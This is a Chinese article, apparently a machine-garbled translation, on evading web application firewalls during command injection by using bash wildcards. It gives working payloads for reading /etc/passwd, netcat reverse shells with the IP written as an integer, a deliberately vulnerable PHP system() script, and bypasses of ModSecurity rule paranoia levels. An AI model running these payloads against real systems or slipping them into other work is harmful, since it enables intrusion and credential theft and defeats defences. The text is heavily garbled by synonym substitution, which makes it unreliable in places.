当打击者把作为命令或查问的不可信数据发送给表达器时,会发作注入缝隙,如 SQL,NoSQL,OS 和 LDAP 注入。打击者的数据也许会诱使表达器实行意外的命令或在没有受权的环境下会晤数据。
全体现代 Web 操作防火墙都能拦挡 RCE 尝试,可是当它发生在 Linux 细碎中时,我们曾经有了动作来遁藏 WAF 规则集。
浸透测试中,很无效的字符是「通配符」。在劈头最先做 WAPT 夙昔,我想陈说你一些你也许不知道的 bash 和通配符的用法。
/???/?s
用这种语法,你能够基础底细做到你想做的任何变乱。假如存在缝隙的目的位于WAF的反面,而且此 WAF 有一条规则,该规则可制止包括?/etc/passwd?或?/bin/ls?在 GET 参数的值内或 POST 标明中的全体乞求。
假如你试图发出如许的乞求,/?cmd=cat+/etc/passwd?它将被目的 WAF 制止,你的 IP 将被永恒禁止,并被标识表记标帜为?yet another f***in’ redteamer。但你有通配符这个秘密武器。
假如目的 WAF 不制止查问字符串里的???和?/,你即能够很复杂地让你的乞求(url 编码)酿成如许:/?cmd=%2f???%2f??t%20%2f???%2fp??s??
上图所示,有 3 个舛误 :/bin/cat *: Is a directory。发生这种环境是因为?/???/?t?能够被全局过程表达成?/bin/cat,也可以表达成?/dev/net?或?/etc/apt 等。
问号通配符能够代表任何字符。因此,假如你知道一个文件名的一部门,那么你能够使用这个通配符。譬喻,ls *.????将列出当前目次中全体长度为 3 个字符的文件扩充名。因此,你将会看到存在诸如 .gif,.jpg,.txt 之类扩充名的文件。
使用这个通配符,你能够用?netcat?实行一个反弹 shell。假如你需求在端口 1337(群体?nc -e /bin/bash 127.0.0.1 1337)实行一个 127.0.0.1 的反弹 shell?,你能够用下面的语法来实现:
/???/n? -e /???/b??h 2130706433 1337
将 IP 地址127.0.0.1转换为长整数格局(2130706433),能够避免在 HTTP 乞求中使用?.?字符。
在 kali 中,需求使用?nc.traditional?而不是?nc,没有?-e?参数,以便?/bin/bash?连贯后实行。无效载荷酿成如许:
/???/?c.??????????? -e /???/b??h 2130706433 1337
使用通配符实行反弹 shell
在对我们刚刚看到的两个命令中止总结:
Default1234567 | 标准:/bin/nc 127.0.0.1 1337?绕过:/???/n? 2130706433 1337?使用字符:/?? n [0-9] 标准:/bin/cat /etc/passwd绕过:/???/??t /???/??ss??使用字符:/?? t s |
为甚么使用???而不是?*?因为?*?遍布用于攻讦语法,许多 WAF 为了避免 SQL 注入而过滤它,像?UNION+SELECT+1,2,3/*
使用 echo 来胪列文件和目次。该 echo 命令能够使用通配符胪列文件细碎上的文件和目次。譬喻?echo /*/*ss*?:
这命令能够在 RCE 缝隙中使用,以获取目的细碎上的文件和目次,譬喻:
测试 WAF 规则集的最好动作是甚么?建立一个有缝隙的 PHP 脚本,并尝试全体也许的技艺。在上图的左上方的窗格中,是一个有缝隙的PHP脚本。
Default1234 | <?php echo 'ok: '; print_r($_GET['c']); system($_GET['c']); |
右窗格显示了同样的乞求,但却使用???作为通配符,后果是 Sucuri WAF 没有制止这个乞求,操作挨次实行了放入?c?参数的命令。当初即能够读取?/etc/passwd?文件,乃至更多。
我能够读取操作挨次大师的 PHP 源代码,能够使用 netcat(/???/?c)实行反弹 shell,能够或许我能够实行 curl 或 wget 来获取Internet处事器的真实 IP,使我也许颠末直连续接目的来绕过 WAF。
1234567891011121314151617181920212223242526 | # -=[ Targets and ASCII Ranges ]=-## 920270: PL1# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 1-255# Example: Full ASCII range without null character## 920271: PL2# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES# ASCII: 9,10,13,32-126,128-255# Example: Full visible ASCII range, tab, newline## 920272: PL3# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY# ASCII: 32-36,38-126# Example: Visible lower ASCII range without percent symbol## 920273: PL4# ARGS, ARGS_NAMES and REQUEST_BODY# ASCII: 38,44-46,48-58,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : &## 920274: PL4# REQUEST_HEADERS without User-Agent, Referer, Cookie# ASCII: 32,34,38,42-59,61,65-90,95,97-122# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE |
PL0?封锁的防护规则较少,我们的代码也许正常实行。
Default123456 | SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=0" |
Paranoia Level 1 and 2 (PL1,?PL2)
PL1 和PL2 都邑拦挡原始的乞求,可是假如使用 ? 作为通配符,该乞求不会被WAF 拦挡。
Default123456 | SecAction "id:999,\phase:1,\nolog,\pass,\t:none,\setvar:tx.paranoia_level=1" |
之所以发生这种环境,是因为???,/?和空格在规则 920271 和 920272 的可遭受字符范围内。另外,使用???也许避开细碎文件过滤规则,拦挡对操纵细碎罕用命令和文件的会晤。
Paranoia Level 3?(PL3)
PL3能够制止包括???等字符超越 n 次的乞求。实践上,我的乞求被拦挡为:?Meta-Character Anomaly Detection Alert?—?Repetitive Non-Word Characters。
可是作为测试用的 Web 操作挨次非常蹩脚,复杂受到打击,所以我能够使用较少的 ?,并使用以下语法读取 passwd 文件:c=/?in/cat+/et?/passw?
Paranoia Level 4?(PL4)
PL4 级别的防护基础底细无法绕过,a-z A-Z 0–9 以外的字符都被屏蔽了。当你需求实行一个命令来读取文件时,有 90% 的概率需求一个空格字符或?/。
作者: 行长叠报